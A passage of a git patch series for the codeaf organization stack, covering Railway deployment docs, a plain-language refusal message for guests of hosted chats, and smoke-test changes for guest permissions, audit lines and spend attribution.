`AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `SWE_HITL_NATIVE=1`, `SWE_FENCE=off`, `SWE_PRO_ENGINE=0`, `SWE_DEFAULT_MODEL=openrouter/...`, `OPENROUTER_API_KEY=...`. | +| `pr-af` | `/deploy/org` | `pr-af.Dockerfile` | `/workspaces` | `NODE_ID=pr-af`, `PORT=8007`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `AGENT_CALLBACK_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8007`, `PR_AF_MODEL=...`, `OPENROUTER_API_KEY=...`. | +| `modelstub` (keyless only) | `/deploy/org` | `modelstub.Dockerfile` | none | `STUB_DELAY=2s`; then on `runner`, `swe-af`, `pr-af` and `codeaf` set `CODEAF_BASE_URL=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1` and `OPENROUTER_API_KEY=stub-key`, on `runner`, `pr-af` and `sessionhost` the model variables to `stub/scripted` (`ORG_MODEL`, `PR_AF_MODEL`, `CODEAF_SESSIONHOST_MODEL`; SWE-AF: `SWE_DEFAULT_MODEL=openrouter/stub/scripted`), on `codeaf` also `CODEAF_HOSTED_MODEL_UPSTREAM=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1` and `CODEAF_HOSTED_MODEL_KEY=stub-key`. For the self-test below, `swe-af` also takes `SMOKE_FIXTURE_REPO=/workspaces/smoke-fixture`. | + +What a first install needs that the table does not show: + +- **Why `codeaf`, `runner` and `sessionhost` build from the repository root.** They are one image, and the pinned release a plain + build fetches has no `codeaf sessionhost`, so the image is built from this repository's source (`CODEAF_BINARY_FROM=source`, and + `ORG_DIR` says where `deploy/org` is inside that context). Railway hands every service variable to the build as a build argument, + which is how those two reach it; they stay in the running service's environment too, where nothing reads them. Never use + `CODEAF_BINARY_FROM=local`: it expects a binary beside the Dockerfile that a repository build does not have. Each of the three + compiles codeaf (about four minutes each); the other four take about a minute. `codeaf version` in the running service names the + commit Railway built (the Dockerfile reads Railway's `RAILWAY_GIT_COMMIT_SHA`; a `SOURCE_COMMIT` variable is not needed). +- **The public domain first.** The server reads `CODEAF_PUBLIC_DOMAIN` only when it starts, and a link is accepted only with exactly the + address the server gave itself. So generate the domain before `codeaf` first deploys; if you generate it later, restart `codeaf` + (changing a variable does) and use the operator link its new start prints, not an older one. +- **Secrets are Railway's.** `${{secret(64, "abcdef0123456789")}}` works in a plain project (not only in a template): each is a fresh + random value that lives in the service's variables, never in a file. +- **Pin what you deploy.** A service connected to a branch with a commit pinned does not follow later pushes; connect it again with + the new commit to move it. `railway redeploy` re-runs the old build, so it does not pick up a new commit or a changed Dockerfile + path. Changing a variable does redeploy the service with the new value. +- **Looking inside.** There is no `docker exec`. `railway ssh` (it needs an SSH key registered on your Railway account; pass it with + `-i` if the default key has a passphrase) runs a command in a service, with stdin from `/access # 200: the sign-in page, over HTTPS +``` ## Known limits diff --git a/docs/changes/unreleased/2899-org-images.md b/docs/changes/unreleased/2899-org-images.md index f70a90bcac..ca76beb260 100644 --- a/docs/changes/unreleased/2899-org-images.md +++ b/docs/changes/unreleased/2899-org-images.md @@ -6,6 +6,7 @@ surface: [factory, build, docs] invalidates: - "Was true: the self-hosted organization stack could only be run by building every image from deploy/org's Dockerfiles on the machine that runs it, the codeaf image there was a released binary that had no sessionhost until a release carried one, and a Railway template needed the repository through Railway's GitHub App, which the organization has not installed. Is true: .github/workflows/org-images.yml builds six images from the pushed commit (the codeaf image from source with make build, so it carries that commit's sessionhost), scans them for leaks before any push and, in a repository that has Docker Hub credentials, pushes them; Compose runs from them with images.env, and deploy/org/railway/make-template.sh makes a draft Railway template from image sources." - "Was true: deploy/org's build contexts only kept .env files out and its base images were named by tag. Is true: the contexts are deny-by-default (a planted .env, key file or profile folder is proven not to enter the codeaf build), and every base image and the Dockerfile syntax frontend is pinned by digest." + - "Was true: deploy/org's README told a Railway installer to build the codeaf service from the folder deploy/org, which fetches the pinned release and so has no sessionhost, and the Railway template script said hosted chats could not run on Railway. Is true: a fresh install on Railway builds the codeaf, runner and sessionhost services from the repository root (CODEAF_BINARY_FROM=source, ORG_DIR=deploy/org, Dockerfile path deploy/org/codeaf.Dockerfile), the sessionhost runs there with the user switch plus Landlock (codeaf sessionhost probe says uid+fence), and README.md \"Railway\" lists every service's variables. The template script does not add the sessionhost yet." --- The images are `codeaf-org`, `codeaf-org-agentfield`, `codeaf-org-swe-af`, `codeaf-org-pr-af`, `codeaf-org-modelstub` and From 1b6db50edc4de5b48c616070875f064ca10903c6 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 13:10:10 -0500 Subject: [PATCH 084/176] deploy/org/railway: the template script no longer says hosted chats cannot run on Railway They do (the sessionhost passes its probe there with the user switch plus Landlock); the script just does not add that service yet, and now says so. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/railway/make-template.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/deploy/org/railway/make-template.sh b/deploy/org/railway/make-template.sh index b5e9b3d37c..08c0879144 100755 --- a/deploy/org/railway/make-template.sh +++ b/deploy/org/railway/make-template.sh @@ -21,8 +21,10 @@ # * The smoke-test switches (RUNNER_SELFTEST, SMOKE_FIXTURE_REPO, the model stub and git stub) are not in it. # * It is never published. This script has no `railway templates publish` call and never will; the draft opens in the # dashboard's template editor, where the person who owns it decides. -# * Hosted chats (the sessionhost service) are not in it: they need Linux capabilities Railway services do not take. See -# README.md "Hosted chats". +# * Hosted chats (the sessionhost service) are NOT in it yet. They do run on Railway (a by-hand install with the sessionhost +# service passes `codeaf sessionhost probe` with mode uid+fence; README.md "Railway" has its variables), but this script has +# not been extended to add the service and the codeaf variables that name it, and nothing here could be run against the +# images before they exist. # # NOT YET RUN AGAINST RAILWAY: the images did not exist on Docker Hub when this was written. The calls are the Railway CLI's # documented ones (`railway add --image`, `railway volume add`, `railway environment edit --service-config`, `railway From e36d000893bdc0c4367a1d227f0ff3912978504f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 13:14:06 -0500 Subject: [PATCH 085/176] hosted P2: a guest who cannot start a chat is told so in plain words Opening a chat that is not running starts it for its owner, and the chats' machine can answer that it has no room (its own limit, or the owner's). The guest used to read "The place chats run on is not answering." Now the guest reads "This chat is not running, and there is no room to start it right now. Try again later." and never the owner's own sentence or a number. Found by the live smoke. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 3 +++ internal/factory/serve/hosted_guest.go | 6 +++++ internal/factory/serve/hosted_guest_test.go | 23 +++++++++++++++++++ internal/factory/serve/hosted_proxy_test.go | 9 ++++++++ .../chat/organization-hosted-sessions.md | 2 ++ 5 files changed, 43 insertions(+) diff --git a/deploy/org/README.md b/deploy/org/README.md index eee4a1fb15..9ea43bfaf3 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -252,6 +252,9 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i messages in it. Ask its owner.`; `... to steer it. Ask its owner.`; `... to answer its questions. Ask its owner.`) and never reaches the chat. The guest's hello is rewritten so it cannot launch, resume or take over anything and does not take the keyboard from the owner on arrival. + A guest opening a chat that is not running starts it for its owner; when the owner's limit on running chats or the + machine's says no (a 429 from the chats' machine), the guest reads `This chat is not running, and there is no room + to start it right now. Try again later.` (never the owner's own sentence, and no number). - **Access taken away.** Every `CODEAF_HOSTED_HEARTBEAT` (default `5s`, `1s` to `1m`) the server re-reads the guest's sign-in, the grants and the policy; when the right is gone it writes `Your access to this chat was removed.` and closes the wire. A role changed in between takes effect on the next call. For a bot the same check diff --git a/internal/factory/serve/hosted_guest.go b/internal/factory/serve/hosted_guest.go index c97e44e4a7..09d2717ae0 100644 --- a/internal/factory/serve/hosted_guest.go +++ b/internal/factory/serve/hosted_guest.go @@ -31,6 +31,9 @@ const ( hostedGuestLongLine = "A message to this chat was too large." hostedGuestBadHello = "This chat could not read the first message." hostedGuestBadCall = "This chat could not read a request." + // A guest opening a chat that is not running starts it for its owner, and either the owner's own limit or the machine's can say no. + // The sentence is the guest's, never the owner's ("You already have ... chats running"), and names no number or person. + hostedGuestNoRoom = "This chat is not running, and there is no room to start it right now. Try again later." ) var errHostedGuestLineCap = errors.New(hostedGuestLongLine) @@ -130,6 +133,9 @@ func (h *Handler) hostedGuestWire(w http.ResponseWriter, r *http.Request, item I return case http.StatusConflict: hs.bearers.revokeFor(item.ID, owner) + case http.StatusTooManyRequests: + p.fatal(hostedGuestNoRoom) + return } p.fatal(hostedUnreachable) return diff --git a/internal/factory/serve/hosted_guest_test.go b/internal/factory/serve/hosted_guest_test.go index 43869d1caf..5d1d1558a8 100644 --- a/internal/factory/serve/hosted_guest_test.go +++ b/internal/factory/serve/hosted_guest_test.go @@ -370,3 +370,26 @@ func TestP2_5_HostedShutdownClosesGuestWires(t *testing.T) { guestClosed(t, first, firstHost, 5*time.Second) guestClosed(t, second, secondHost, 5*time.Second) } + +// P2-5 +// A guest opening a chat that is not running, when its owner or the machine is at the limit of running chats, is told in the +// guest's own words and never reads the owner's sentence. +func TestP2_5_GuestIsToldPlainlyWhenThereIsNoRoomToStartTheChat(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + recordGuestHostWires(rg) + rg.host.mu.Lock() + rg.host.wireRefusal = http.StatusTooManyRequests + rg.host.mu.Unlock() + srv := httptest.NewServer(rg.h) + defer srv.Close() + client := guestDial(t, srv, rg.tokens["abir"], chat) + frame := guestFrame(t, guestRead(t, client, 5*time.Second)) + if frame.Kind != "fatal" || frame.Error != hostedGuestNoRoom { + t.Fatalf("the guest was told %+v; want the guest's own sentence", frame) + } + if strings.Contains(frame.Error, "You already have") || strings.ContainsAny(frame.Error, "0123456789") { + t.Fatalf("the guest read the owner's limit: %q", frame.Error) + } +} diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index 1a416e22fa..07042f5a74 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -33,6 +33,8 @@ type fakeChatHost struct { rowBearer map[string]string // A wire test can replace the echo with a recording engine after the host's usual admission. wire func(*websocket.Conn, *http.Request) + // A wire refusal makes the host answer the wire with this status and its own sentence instead of upgrading. + wireRefusal int } type hostSeen struct { @@ -183,7 +185,14 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { f.mu.Lock() held := f.tokens[id] wire := f.wire + refusal := f.wireRefusal f.mu.Unlock() + if refusal != 0 { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(refusal) + _, _ = io.WriteString(w, `{"error":"You already have 2 chats running; stop one first."}`+"\n") + return + } if held == "" { w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusConflict) diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 940b3e7bf5..876a7c9170 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -69,6 +69,8 @@ Only one window types at a time. While the owner has the chat open with the keyb When the owner takes your access away, or the policy changes so you no longer have it, your window is ended within a few seconds (five unless the operator set another heartbeat) and reads `Your access to this chat was removed.` +Opening a chat that is not running starts it for its owner, which can be refused while its owner or the machine is running as many chats as are allowed. Then you read `This chat is not running, and there is no room to start it right now. Try again later.` + ## who pays when someone else is in my hosted chat — it runs as the owner, with the owner's access and limits A shared chat always runs in the owner's folder on the machine, with the owner's model access and the owner's spending limits: what a guest's messages cost is counted to the owner, in the owner's My space, against the owner's chat limit and month. The server notes who last put words into the chat next to each charge, so the owner can see it was a guest, but that is approximate: a model call is credited to whoever last sent a message, redirected a turn or answered through the server, and the owner opening their own window puts it back to the owner. The owner's activity list (`GET /v1/hosted/audit`) holds one line for each message a guest sent, with who sent it (never what it said), and each line for the owner's GitHub access carries who was asking at the time. From e450863d69b9cbb5c9555f75f894de9955aced03 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 13:16:27 -0500 Subject: [PATCH 086/176] hosted P2: the smoke gives the owner a fresh person, reads the command's own answer, and keeps the policy revision current The first live runs found faults in the harness, not the product: the owner shared its running-chat slots with P1's chats (the owner is now a new person with a GitHub access of their own, and the machine-wide limit leaves room), a policy restore used a stale revision, a one-shot owner turn raced the guest's interactive window (the owner's window is now a real wire, which also pins the keyboard limit), the spend query used the wrong chat column, a message's own text was mistaken for the command's answer, and an interrupted turn is read from "Command aborted". Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.env.stub.hosted | 3 +- deploy/org/scripts/smoke.py | 267 ++++++++++++++++++++---------------- deploy/org/smoke.sh | 2 +- 3 files changed, 154 insertions(+), 118 deletions(-) diff --git a/deploy/org/.env.stub.hosted b/deploy/org/.env.stub.hosted index d13c601bc2..5ee598792d 100644 --- a/deploy/org/.env.stub.hosted +++ b/deploy/org/.env.stub.hosted @@ -6,7 +6,8 @@ CODEAF_HOSTED_MODEL_UPSTREAM=http://modelstub:8890/api/v1 CODEAF_SESSIONHOST_MODEL=stub/scripted # A short idle window and small limits so the smoke test can watch them work. CODEAF_SESSIONHOST_IDLE=20s -CODEAF_SESSIONHOST_MAX_RUNNING=4 +# The machine-wide limit leaves room for every section: a chat whose engine started a storage helper keeps its slot until the stack restarts. +CODEAF_SESSIONHOST_MAX_RUNNING=10 CODEAF_SESSIONHOST_MAX_PER_PERSON=2 # P1: a model key of the hosted chats' own (the stub's, not a secret) so the stub's record shows exactly what they spent; each call # reports it cost a cent, so metering is checked to the cent; a chat's cap is low enough to reach and high enough that the diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index fed7c88881..886b73ac18 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -1242,7 +1242,10 @@ def send_line(self, frame): mask = os.urandom(4) n = len(data) head = b'\x82' + (bytes([0x80 | n]) if n < 126 else b'\xfe' + n.to_bytes(2, 'big') if n < 65536 else b'\xff' + n.to_bytes(8, 'big')) - self.sock.sendall(head + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(data))) + try: + self.sock.sendall(head + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(data))) + except OSError: + self.closed = True def _frames(self): """Pops every complete WebSocket message from the buffer, joined into the byte stream.""" @@ -1394,17 +1397,6 @@ def p2_ids(listing, key): return [row.get('id') for row in (listing or {}).get(key, [])] if isinstance(listing, dict) else [] -def p2_quiet(people, seconds=90): - """Waits until none of these people's chats is running, so the per-person limit on running chats cannot get in the way.""" - def idle(): - for token in people: - code, body = http('GET', ORG + '/v1/hosted/sessions', token) - if code != 200 or any(row.get('state') == 'running' for row in body.get('sessions', [])): - return False - return True - return bool(wait_until(idle, seconds, 3)) - - def p2_grant(owner_token, chat, who, role): code, made = http('POST', ORG + '/v1/resources/session/%s/grants' % chat, owner_token, {'subject': {'kind': 'person', 'id': who}, 'role': role}) return code, (made or {}).get('id', '') if isinstance(made, dict) else '' @@ -1419,6 +1411,25 @@ def p2_error(result): return (result or {}).get('error', '') if isinstance(result, dict) else '(no answer)' +def p2_put_policy(operator, change): + """Reads the policy fresh, applies `change` to a copy and writes it with the revision just read (a write against an older one is refused).""" + code, current = http('GET', ORG + '/v1/org/policy', operator) + if code != 200 or not isinstance(current, dict): + return code, current + edited = json.loads(json.dumps(current)) + change(edited) + return http('PUT', ORG + '/v1/org/policy', operator, edited) + + +def p2_restore_policy(operator, original): + """Puts the policy's content back as it was read at the start, on the current revision.""" + def change(policy): + for key in [k for k in policy if k not in ('rev', 'updated_at', 'updated_by')]: + policy.pop(key) + policy.update({k: v for k, v in original.items() if k not in ('rev', 'updated_at', 'updated_by')}) + return p2_put_policy(operator, change) + + def hosted_p2_prepare(): print('--- hosted chats P2: making the chats (and the third person)') secret = password() @@ -1427,7 +1438,7 @@ def hosted_p2_prepare(): if not operator: return ids = {} - for who, name in (('priya', 'p2_priya'), ('noor', 'p2_noor')): + for who, name in (('kai', 'p2_kai'), ('noor', 'p2_noor')): token = p2_person(who, operator, secret) check(f'P2 {who} signs in', bool(token)) code, made = http('POST', ORG + '/v1/hosted/sessions', token, {}) if token else (0, None) @@ -1441,58 +1452,59 @@ def hosted_p2(): print('--- hosted chats P2: private by default, shared and watched, the operator, bots, the hosting policy') secret = password() operator = sign_in('owner') - priya = sign_in('priya') + kai = sign_in('kai') noor = p2_person('noor', operator, secret) if operator else None - check('P2 the operator and two people sign in', bool(operator and priya and noor)) - if not (operator and priya and noor): + check('P2 the operator and two people sign in', bool(operator and kai and noor)) + if not (operator and kai and noor): return ids = json.loads(P2_IDS.read_text()) - chat_p, chat_n = ids['p2_priya'], ids['p2_noor'] - check('P2 the other chats have stopped running (so the limit on running chats is not in the way)', p2_quiet([operator, priya, noor]), '') + chat_p, chat_n = ids['p2_kai'], ids['p2_noor'] + original_policy = http('GET', ORG + '/v1/org/policy', operator)[1] # P2-1: a chat is private by default, at the list, at every door, and in the live event stream. - code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + code, mine = http('GET', ORG + '/v1/hosted/sessions', kai) check('P2-1 the owner lists the chat as their own', code == 200 and chat_p in p2_ids(mine, 'sessions'), short(mine, 200)) for who, token in (('Noor', noor), ('the operator', operator)): code, other = http('GET', ORG + '/v1/hosted/sessions', token) - check(f'P2-1 {who} has none of Priya\'s chat in either list', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) + check(f'P2-1 {who} has none of Kai\'s chat in either list', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) unknown = http('GET', ORG + '/v1/hosted/sessions/' + UNKNOWN_CHAT, noor) for who, token in (('Noor', noor), ('the operator', operator)): got = http('GET', ORG + '/v1/hosted/sessions/' + chat_p, token) - check(f'P2-1 {who} opening Priya\'s private chat gets exactly what an unknown chat gets', got == unknown and got[0] == 404 and (got[1] or {}).get('error') == NO_SUCH_CHAT, f'{got} vs {unknown}') + check(f'P2-1 {who} opening Kai\'s private chat gets exactly what an unknown chat gets', got == unknown and got[0] == 404 and (got[1] or {}).get('error') == NO_SUCH_CHAT, f'{got} vs {unknown}') wire = wire_answer(token, chat_p) - check(f'P2-1 {who} attaching to Priya\'s private chat gets the same words', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) + check(f'P2-1 {who} attaching to Kai\'s private chat gets the same words', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) for suffix, verb in (('/stop', 'POST'), ('', 'DELETE')): code, body = http(verb, ORG + '/v1/hosted/sessions/' + chat_p + suffix, token, {} if verb == 'POST' else None) check(f'P2-1 {who} cannot {"stop" if suffix else "delete"} it either', code == 404 and (body or {}).get('error') == NO_SUCH_CHAT, f'{code} {body}') - watchers = {'noor': Events(noor), 'operator': Events(operator), 'priya': Events(priya)} - code, made = http('POST', ORG + '/v1/hosted/sessions', priya, {}) + watchers = {'noor': Events(noor), 'operator': Events(operator), 'kai': Events(kai)} + code, made = http('POST', ORG + '/v1/hosted/sessions', kai, {}) extra = (made or {}).get('id', '') if isinstance(made, dict) else '' check('P2-1 the owner makes another chat while others are watching the event stream', code in (200, 201) and extra.startswith('hs_'), f'{code}') - http('POST', ORG + '/v1/hosted/sessions/%s/stop' % extra, priya, {}) - http('DELETE', ORG + '/v1/hosted/sessions/' + extra, priya) + http('POST', ORG + '/v1/hosted/sessions/%s/stop' % extra, kai, {}) + http('DELETE', ORG + '/v1/hosted/sessions/' + extra, kai) time.sleep(3) streams = {name: watcher.stop() for name, watcher in watchers.items()} - check('P2-1 the owner\'s own event stream carried the chat being made and removed', extra in streams['priya'], short(streams['priya'], 160)) + check('P2-1 the owner\'s own event stream carried the chat being made and removed', extra in streams['kai'], short(streams['kai'], 160)) check('P2-1 neither the other person\'s nor the operator\'s event stream ever carried it', extra not in streams['noor'] and extra not in streams['operator'] and chat_p not in streams['noor'] and chat_p not in streams['operator'], f'noor {len(streams["noor"])} bytes, operator {len(streams["operator"])} bytes') # P2-2 and P2-5: sharing it makes it appear in the grantee's shared list, and a view grant watches and cannot send. - code, g_view = p2_grant(priya, chat_p, 'noor', 'view') + code, g_view = p2_grant(kai, chat_p, 'noor', 'view') check('P2-5 the owner shares the chat with Noor (view)', code == 201 and bool(g_view), f'{code}') code, listed = http('GET', ORG + '/v1/hosted/sessions', noor) rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == chat_p] if isinstance(listed, dict) else [] check('P2-2 Noor now lists it under shared, never under his own chats', len(rows) == 1 and chat_p not in p2_ids(listed, 'sessions'), short(listed, 300)) check('P2-2 a shared row carries only the id, owner, role, how, state and times (no model access, no warning)', - len(rows) == 1 and set(rows[0]) == LIST_SHARED_KEYS and rows[0].get('role') == 'view' and rows[0].get('access') == 'shared' and rows[0].get('owner') == 'priya', rows) + len(rows) == 1 and set(rows[0]) == LIST_SHARED_KEYS and rows[0].get('role') == 'view' and rows[0].get('access') == 'shared' and rows[0].get('owner') == 'kai', rows) check('P2-2 the list says what the organization\'s policy is for chats on a computer', isinstance(listed, dict) and (listed.get('hosting') or {}).get('local_sessions') == 'refuse', short((listed or {}).get('hosting'), 80)) code, other = http('GET', ORG + '/v1/hosted/sessions', operator) check('P2-1 the operator still has none of it', code == 200 and chat_p not in p2_ids(other, 'sessions') + p2_ids(other, 'shared'), short(other, 200)) # The owner's turn goes first: it starts the chat and gives the guest something to watch. - status, out, err = chat(priya, 'bash: echo before-noor-attached', session=chat_p) - check('P2-8 the owner talks in their own chat through the client door as before', status == 0 and 'before-noor-attached' in out, short(out + err, 200)) + status, out, err = chat(kai, 'bash: echo before-noor-attached; echo "UID $(id -u)"; pwd | sed "s/^/PWD /"', session=chat_p) + owner_uid, owner_pwd = field(out, 'UID'), field(out, 'PWD') + check('P2-8 the owner talks in their own chat through the client door as before', status == 0 and 'before-noor-attached' in out and bool(owner_uid), short(out + err, 200)) guest = Wire(noor, chat_p) check('P2-4 Noor\'s window attaches to the shared chat', guest.status == 101, f'{guest.status} {guest.refusal}') if guest.status != 101: @@ -1515,51 +1527,70 @@ def hosted_p2(): banned = [w for w in BANNED_WORDS if w in (GUEST_OWNER_ONLY + GUEST_NEEDS_RUN + GUEST_NEEDS_STEER + ACCESS_REMOVED).lower()] check('P2-5 the refusal sentences keep to plain words', not banned, banned) - # The owner's turn runs while the guest watches: the guest's window is told what happens (events or facts frames). - watched = [] - thread = threading.Thread(target=lambda: watched.append(chat(priya, 'bash: echo seen-live-by-noor', session=chat_p)), daemon=True) - thread.start() - seen = guest.read_until(lambda f: f.get('kind') in ('event', 'facts'), 90) - thread.join(120) + # The owner's own window drives a turn while the guest watches: the guest's window is told what happens, and the owner's window is the + # unchanged byte-copying wire (P2-10), welcomed exactly as at home. + owner_wire = Wire(kai, chat_p) + owner_welcome = owner_wire.hello(clientID='smoke-owner') if owner_wire.status == 101 else None + check('P2-10 the owner attaches through the unchanged wire and is welcomed', owner_wire.status == 101 and owner_welcome is not None and owner_welcome.get('kind') == 'welcome', f'{owner_wire.status} {short(owner_welcome, 160)}') + owner_sent = owner_wire.call('Submit', {'text': 'bash: echo seen-live-by-noor'}, seconds=60) if owner_wire.status == 101 else None + check('P2-10 the owner\'s message is taken by the chat from their own window', owner_sent is not None and not p2_error(owner_sent), short(owner_sent, 200)) + seen = guest.read_until(lambda f: 'seen-live-by-noor' in json.dumps(f), 60) check('P2-5 a guest watching live is told what the owner\'s turn does', seen is not None, short(seen, 160)) - check('P2-5 and the owner\'s turn was not disturbed by the watcher', bool(watched) and watched[0][0] == 0 and 'seen-live-by-noor' in watched[0][1], short(watched, 200)) + owner_text = json.dumps(owner_wire.read_until(lambda f: 'seen-live-by-noor' in json.dumps(f), 30)) + check('P2-10 and the owner\'s own window is not disturbed by the watcher', 'seen-live-by-noor' in owner_text, short(owner_text, 160)) # The role `edit` holds run, steer and answer in the default policy: a guest given it sends messages and they run as the OWNER # (the owner's sandbox and credentials), with the asker recorded; everything that is the owner's alone stays refused. - code, g_edit = p2_grant(priya, chat_p, 'noor', 'edit') + code, g_edit = p2_grant(kai, chat_p, 'noor', 'edit') check('P2-5 the owner gives Noor a role that may run (edit)', code == 201 and bool(g_edit), f'{code}') - p2_revoke(priya, chat_p, g_view) + p2_revoke(kai, chat_p, g_view) time.sleep(HEARTBEAT * 3 + 1) - spent_before = spent_of(priya) - sent = guest.call('Submit', {'text': 'bash: echo from-noor-as-the-owner; id -un'}, seconds=120) - check('P2-5 with run a guest\'s message is no longer refused by the organization\'s server (the chat answers)', sent is not None and p2_error(sent) not in (GUEST_NEEDS_RUN, GUEST_OWNER_ONLY), short(sent, 240)) - + # THE KNOWN KEYBOARD LIMIT, pinned here so a change to it is noticed: the chat lets one window type at a time, so while the owner's + # own window holds the keyboard the chat refuses a guest's message with its own sentence. Interrupting is not typing and goes through. + blocked = guest.call('Submit', {'text': 'bash: echo noor-while-the-owner-types'}, seconds=60) + check('P2-5 while the owner\'s window holds the keyboard the chat refuses a guest\'s message with its own keyboard sentence', 'the keyboard is in another window' in p2_error(blocked), short(blocked, 240)) + nudged = guest.call('Interrupt') + check('P2-5 and a guest who may steer can still interrupt while the owner types (it is not typing)', nudged is not None and not p2_error(nudged), short(nudged, 200)) + owner_wire.close() + spent_before = spent_of(kai) + guest_command = 'bash: echo from-noor-as-the-owner; echo "UID $(id -u)"; pwd | sed "s/^/PWD /"' + + def guest_may_type(): + got = guest.call('Submit', {'text': guest_command}, seconds=60) + return got if got is not None and not p2_error(got) else None + sent = wait_until(guest_may_type, 45, 3) + check('P2-5 once the owner\'s window is closed the guest\'s message goes through', sent is not None, short(sent, 240)) def noor_turn_in_transcript(): got = guest.call('Transcript') text = json.dumps(got) - return text if 'from-noor-as-the-owner' in text and 'STUB ran' in text else None + return text if 'STUB ran: from-noor-as-the-owner' in text else None transcript_text = wait_until(noor_turn_in_transcript, 90, 3) check('P2-5 the guest\'s message ran in the chat (the transcript holds it and the command\'s answer)', bool(transcript_text), short(sent, 160)) - check('P2-8 and the command ran as the chat\'s owner, not as the guest', bool(transcript_text) and ('priya' in transcript_text or 'chat' in transcript_text) and 'noor' not in transcript_text.replace('noor-was-here', '').replace('from-noor-as-the-owner', ''), short(transcript_text, 200)) - audit = [e for e in audit_lines(priya) if e.get('kind') == 'prompt' and e.get('chat') == chat_p] + answer = (transcript_text or '').split('STUB ran: from-noor-as-the-owner', 1)[-1] + guest_uid, guest_pwd = re.search(r'UID (\d+)', answer), re.search(r'PWD (/[^\\\s"]+)', answer) + check('P2-8 and the command ran as the chat\'s owner: the same user and the owner\'s own chat folder', bool(guest_uid) and bool(guest_pwd) and guest_uid.group(1) == owner_uid and guest_pwd.group(1) == owner_pwd and chat_p in owner_pwd, + f'owner {owner_uid} {owner_pwd}, guest {guest_uid.group(1) if guest_uid else None} {guest_pwd.group(1) if guest_pwd else None}') + audit = [e for e in audit_lines(kai) if e.get('kind') == 'prompt' and e.get('chat') == chat_p] check('P2-8 the owner\'s activity list holds one line for that message, naming who asked and never what was said', - len(audit) >= 1 and all(e.get('asker') == 'noor' and e.get('person') == 'priya' for e in audit) and 'from-noor' not in json.dumps(audit), short(audit, 300)) - spent_after = wait_until(lambda: (lambda value: value if value is not None and value > spent_before else None)(spent_of(priya)), 30, 2) + len(audit) >= 1 and all(e.get('asker') == 'noor' and e.get('person') == 'kai' for e in audit) and 'from-noor' not in json.dumps(audit), short(audit, 300)) + spent_after = wait_until(lambda: (lambda value: value if value is not None and value > spent_before else None)(spent_of(kai)), 30, 2) check('P2-8 what the guest\'s message cost is the OWNER\'s spend', spent_after is not None and spent_of(noor) in (None, 0, 0.0), f'owner {spent_before} -> {spent_after}, guest {spent_of(noor)}') db = glob.glob('/data/**/factory-workstreams.db', recursive=True) asked = [] if len(db) == 1: import sqlite3 with sqlite3.connect('file:%s?mode=ro' % db[0], uri=True) as conn: - asked = conn.execute("SELECT by, asker FROM spend WHERE chat = ? AND asker <> ''", (chat_p,)).fetchall() - check('P2-8 the spend row says who asked (approximately) and is still charged to the owner', bool(asked) and all(row == ('priya', 'noor') for row in asked), asked) + asked = conn.execute("SELECT by, asker FROM spend WHERE chat = ? AND asker <> ''", ('hosted:' + chat_p,)).fetchall() + check('P2-8 the spend row says who asked (approximately) and is still charged to the owner', bool(asked) and all(row == ('kai', 'noor') for row in asked), asked) # The chat's git goes through the organization with the OWNER's stored GitHub access whoever typed the message; the activity list says who. + code, stored = http('PUT', ORG + '/v1/hosted/keys/github', kai, {'key': GIT_TOKEN}) + check('P2-8 the owner stores their GitHub access (the stub git host\'s token)', code in (200, 201, 204), f'{code} {short(stored, 120)}') time.sleep(6) sent_git = guest.call('Submit', {'text': 'bash: git clone -q http://gitstub:8891/acme/widgets.git gp 2>&1; echo "GITGUEST $?"'}, seconds=120) cloned = wait_until(lambda: (lambda text: text if 'GITGUEST 0' in text else None)(json.dumps(guest.call('Transcript'))), 120, 3) check('P2-8 a guest with run has the chat clone through the owner\'s GitHub access', bool(cloned), short(sent_git, 200)) - git_lines = [e for e in audit_lines(priya) if e.get('kind') == 'git' and e.get('chat') == chat_p and e.get('asker') == 'noor'] - check('P2-8 and each of those git lines in the owner\'s activity list names who was asking', len(git_lines) >= 2 and all(e.get('person') == 'priya' for e in git_lines), short(git_lines, 300)) + git_lines = [e for e in audit_lines(kai) if 